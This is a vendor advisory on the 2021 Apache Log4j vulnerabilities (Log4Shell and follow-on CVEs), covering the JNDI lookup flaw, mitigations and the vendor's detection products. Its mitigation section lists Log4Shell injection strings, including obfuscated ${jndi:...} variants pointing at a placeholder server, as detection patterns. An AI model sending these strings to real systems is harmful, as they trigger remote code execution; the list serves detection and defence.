Forescout’s Response to Apache Log4j Vulnerabilities

Forescout Research Labs | December 12, 2021

Update as of December 29, 2021:

On December 28, 2021, Apache disclosed a new vulnerability (CVE-2021-44832). This is a medium severity vulnerability (CVSS score: 6.6) that allows for remote code execution (RCE) in Apache Log4j2 versions 2.0-beta7 through 2.17.0, excluding security fix releases 2.3.2 and 2.12.4. Apache released Log4j2 versions 2.17.1, 2.12.4, and 2.3.2 to patch the vulnerability and resolve the issue.

For the latest information on how to update your Forescout products, please refer to KB Article #12049 on our portal.

For more information: Apache CVE: CVE-2021-44832

On December 9, 2021, Apache published a zero-day vulnerability (CVE-2021-44228) for Apache Log4j being referred to as “Log4Shell”. This “critical” vulnerability (CVSS score: 10) allows a remote attacker to take control of an affected system. When exploited, this vulnerability allows an attacker to run arbitrary code on the device, giving full control over to the attacker. Any device exploited should be considered compromised, potentially along with any devices that trusted the compromised device. The vulnerability has been actively exploited.

On December 14, 2021, Apache confirmed another vulnerability that was identified impacting Apache Log4j utility (CVE-2021-45046). According to reports, this flaw (CVSS score: 9) could result in remote code execution, which stemmed from an “incomplete” fix for CVE-2021-44228. Vulnerability CVE-2021-45046 has been actively exploited.

On December 18, 2021, a third vulnerability was identified. Tracked as CVE-2021-45105 (CVSS score: 7.5), the high severity Denial of Service (DoS) vulnerability affects all versions of the tool from 2.0-beta9 to 2.16.0.

For additional details about these vulnerabilities, affected versions and solutions, please reference the Apache Logging Services alert.

Impact on Forescout Products and Services

Forescout’s security team immediately commenced an investigation of its networks and has found no evidence of compromise at this time. Forescout has updated rules and signatures of Forescout’s security solutions to detect and block any attempt to exploit our platforms and keep our defenders on high alert. In addition, Forescout has identified potentially vulnerable services and is in the process of patching them.

Forescout has identified the affected products and components and is in the process of releasing updates for the customers. For the latest information on how to update your Forescout products, please refer to KB Article #12049 on our portal.

Why are these Vulnerabilities Challenging?

Log4j is a logging library present in many Java applications and the vulnerabilities are a consequence of how Log4j processes log messages.

It allows the use of “lookup” features, where the user providing messages to be logged can specify variables that will be “looked up” via Log4j and appended into the message. Instead of a simple string, for instance, it can be a system or environment variable, or a call to a remote server. That allows attackers to inject calls to malicious servers that hosts malware or an instruction to leak sensitive information (such as access tokens) to attacker-controlled servers.

These remote calls are enabled by a Java feature called Java Naming and Directory Interface (JNDI), which supports protocols such as the Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS), Remote Method Invocation (RMI), and Common Object Request Broker Architecture (CORBA). Technically, an exploit is a string of the form ${jndi:<service>:<malicious_server>} that must be injected by an attacker into a vulnerable log4j instance.

Many Internet-facing machines, such as web servers, accept user input that is logged by a backend running Log4j without sanitization. That happens often even if the webserver itself does not run Log4j, but some business application uses information coming from the user via the webserver. This allows attackers to inject the malicious strings via HTTP requests, for instance, which is the biggest attack surface observed so far.

There are three complicating factors for this vulnerability. First, Log4j is not a single vulnerable application but a widely-used component, present in products ranging from databases to web conferencing systems. Therefore, identifying vulnerable assets in a network is challenging. Second, attackers have quickly found many ways to obfuscate exploits, so that understanding if and how your organization is or was attacked is not easy. For instance, one valid exploit is ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://<malicious_server>} which is not easy to immediately match to the ${jndi:<service>:<malicious_server>} template we mentioned above.

The third complication lies in an incomplete fix for CVE-2021-44228. There have been two new vulnerabilities discovered: CVE-2021-45046 and CVE-2021-45105.

While the fix for CVE-2021-44228 disables JNDI for log messages, the variables used in the Log4j configuration files still could be expanded to JNDI lookups. Initially CVE-2021-45046 had a low CVSS score of 3.7 since it has been believed that the impact of this vulnerability is at most Denial-of-Service, and that the attackers must be able to control the configuration files. However, on some systems (MacOS at the time of this writing) researchers have discovered a bypass that allows to achieve full Remote Code Execution.

We have already hinted about the last of the discovered vulnerabilities CVE-2021-45105 in Forescout Research Labs technical blog. This vulnerability allows attackers to achieve Denial-of-Service on certain systems by adding specially crafted log variables that lead to infinite recursions and will cause stack overflows.

The root cause of all these three vulnerabilities is not only the fact that JNDI lookups were allowed without restriction, but chiefly because the variable parsing functionality is flawed. Thus, all three patches are mending the same fundamental issue. Yet, it may still be possible that researchers or attackers will soon discover new ways of circumventing these patches as well. It is therefore imperative to update your system to the latest patch available as soon as that patch gets out.

Refer to our technical blog for more insights on detecting vulnerable systems and exploitation attempts.

Protecting Your Network – Mitigations

Identify Vulnerable Devices

Vulnerable software/devices can be identified by:

  • Matching asset inventories with vendor advisories. See here and here for a list of affected vendors.
  • Analyzing software bill of materials (SBOM) manifests – which are still very rare – or software build pipeline dependency manifests – which are common in environments such as Maven – to identify the use of the vulnerable component.
  • Searching the file systems of machines to identify class files, especially the JndiLookup.class which is used to access the remote services.
  • Analyzing log files to identify entries coming from log4j and map them back to applications.

Patch or Change Configurations

After vulnerable devices have been identified, Forescout recommends applying the latest security updates from Apache. Apache has released a new version of Log4j, version 2.17.0, to address the vulnerabilities.

Mitigation Risk on the Network:

If sensitive devices are identified that cannot be immediately patched (e.g., a patch is not available), Forescout recommends mitigating the risk as follows.

  • Use application tagging to identify those applications which you haven’t validated as patched and apply strict policies to them.
  • Configure a firewall to allow outgoing traffic to a trusted whitelist of addresses and protocols, thus preventing attackers from communicating outside of the network.
  • Carefully monitor for failed logins and token anomalies.
  • Detect exploitation attempts by inspecting log files for the characteristic URL patterns. As mentioned above, attackers are currently using obfuscating techniques to avoid detection. A non-exhaustive list of exploit patternsthat might help with detection includes:
    • ${jndi:ldap://<ip_address>}
    • ${jndi:ldaps://<ip_address>}
    • ${jndi:rmi://<ip_address>}
    • ${${::-j}ndi:rmi://<ip_address>}
    • ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://<ip_address>}
    • ${${lower:jndi}:${lower:rmi}://<ip_address>}
    • ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://<ip_address>}
    • ${jndi:dns://<ip_addess>}

Investigate Targeted Devices

If a device was the target of an exploit found by monitoring the network as described above, you can further investigate the incident by checking the logs for strings starting with “${jndi” or any of the exploit patterns above (there are grep regular expressions to help with that).

Once you have determined the device was actually compromised, proper containment, eradication and recovery processes should be taken, which include disconnecting the device, removing malware or malicious artifacts that have been dropped and determining when the system can be returned to production.

How Forescout Can Help Mitigate Log4shell

Forescout R&D Teams have developed the following artifacts to help mitigate Log4Shell:

Assess Your Risk: Finding Vulnerable Devices

eyeSight customers can install the Security Policy Templates (SPT) plugin version 21.0.11. The SPT allows to scan Windows and Linux hosts to identify which of those run applications that use the vulnerable Log4j library.

The SPT enumerates all Java Archive (JAR) files – packaged Java applications and libraries – on a scanned host and searches for the JndiLookup class on the found JAR files. When the class is found, it searches for version information available on build manifests (e.g., Maven properties.pom), file names (e.g., log4j-core-2.1.10), file hashes or even timestamps to try to determine whether the application is vulnerable or not.

Scanned hosts are grouped into Vulnerable, Potentially Vulnerable, Not Affected and Unknown.

We also intend future versions of the SPT to further help with forensic capabilities by scanning known log files for exploit patterns. Notice this will not be part of the first SPT release.

It is paramount to identify vulnerable and violated hosts. eyeInspect customers can leverage the richness of data collected and the analytical capabilities of the tool to investigate the network behaviors. Special attention should be given to egress traffic related to protocols like LDAP, DNS, and RMI. It is possible to build easily multiple analytical dashboards to assess the traffic and device behaviors.

These powerful logging and analysis capabilities are precious also to identify exploits happened while there was no threat detection: with eyeInspect it is easy to identify hosts that started using uncommon protocols or with suspicious behaviors, e.g. a node which started communicating yesterday through LDAP with an unknown server on the Internet.

Identify Attacks: Detecting Ongoing Exploits

eyeInspect customers can update their Threat Detection Add-Ons script to version v.1.6 containing a detection strategy for CVE-2021-44228 exploitation attempts on HTTP. This is supported from eyeInspect 4.2.0 onwards. Figure 1 shows an example of an alert raised when an exploit is detected.

There is also a flash update of the OT Vulnerability & IoC Database to help detection of IoCs related to CVE-2021-44228. Some Log4Shell callbacks are reported to run over Tor; eyeInspect has a large list of Tor exit node IP addresses (6700, very recently updated). This update adds additional IP addresses reported as malicious on various sources and this list could have updates in the next days.

These Add-On tools will help you detect exploit attempts of the log4j vulnerability and identify indicators of already infected systems attempting to reach out to malicious IP addresses identified by various threat intel sources.

Protect Your Organization: Segmenting the Network

eyeSegment customers can setup their systems to whitelist LDAP, DNS, and RMI traffic, which are being exploited in the wild, to only legitimate servers.

eyeSight can also help to isolate devices that are known to be vulnerable but cannot be patched by placing them in specific VLANs.

While it’s not possible to block OT networks in general, customers could set rules in the eyeInspect anomaly detection engine to raise alerts if LDAP, RMI or other sensitive protocols are used against non whitelisted destinations.